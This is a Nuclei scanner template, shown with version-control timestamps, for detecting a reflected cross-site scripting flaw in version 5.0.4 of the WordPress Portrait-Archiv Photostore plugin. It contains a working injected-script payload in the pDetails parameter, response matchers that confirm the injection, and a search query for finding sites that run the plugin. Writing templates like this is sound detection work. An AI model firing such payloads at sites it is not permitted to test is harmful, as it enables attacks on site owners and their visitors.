2023-10-17 07:20:28 +00:00
|
|
|
id: wp-portrait-archiv-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: WordPress Portrait-Archiv.com Photostore 5.0.4 - Reflected Cross Site Scripting
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
The 'pDetails' GET parameter from the js/imageDetails.php was vulnerable to an unauthenticated reflected XSS attack.
|
2023-10-17 08:16:05 +00:00
|
|
|
reference:
|
2023-10-17 07:20:28 +00:00
|
|
|
- https://wpscan.com/vulnerability/c6a8757e-41ef-4c20-8c7d-97b57d56fe0e
|
|
|
|
- https://wordpress.org/plugins/portrait-archiv-shop/
|
|
|
|
- https://packetstormsecurity.com/files/154343/
|
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 1
|
|
|
|
publicwww-query: "/wp-content/plugins/portrait-archiv-shop/"
|
2023-10-17 17:52:26 +00:00
|
|
|
tags: wpscan,packetstorm,wordpress,wp-plugin,wp,portrait-archiv-shop,xss
|
2023-10-17 07:20:28 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /wp-content/plugins/portrait-archiv-shop/js/imageDetails.php?pDetails=);});%3C/script%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code == 200'
|
|
|
|
- 'contains(content_type, "text/html")'
|
|
|
|
- 'contains(body, "</script><script>alert(document.location)</script>") && contains(body, "showImageDetail")'
|
|
|
|
condition: and
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a0047304502210088272d504fcedb5097cce4c9d32557bafa322fdbcc392445dc4d0c7a113dfe1f02204ae37ee7286142dfadf04229adf17dbefcd459da17d818a974dc071e0d2fbead:922c64590222798bb761d5b6d8e72950
|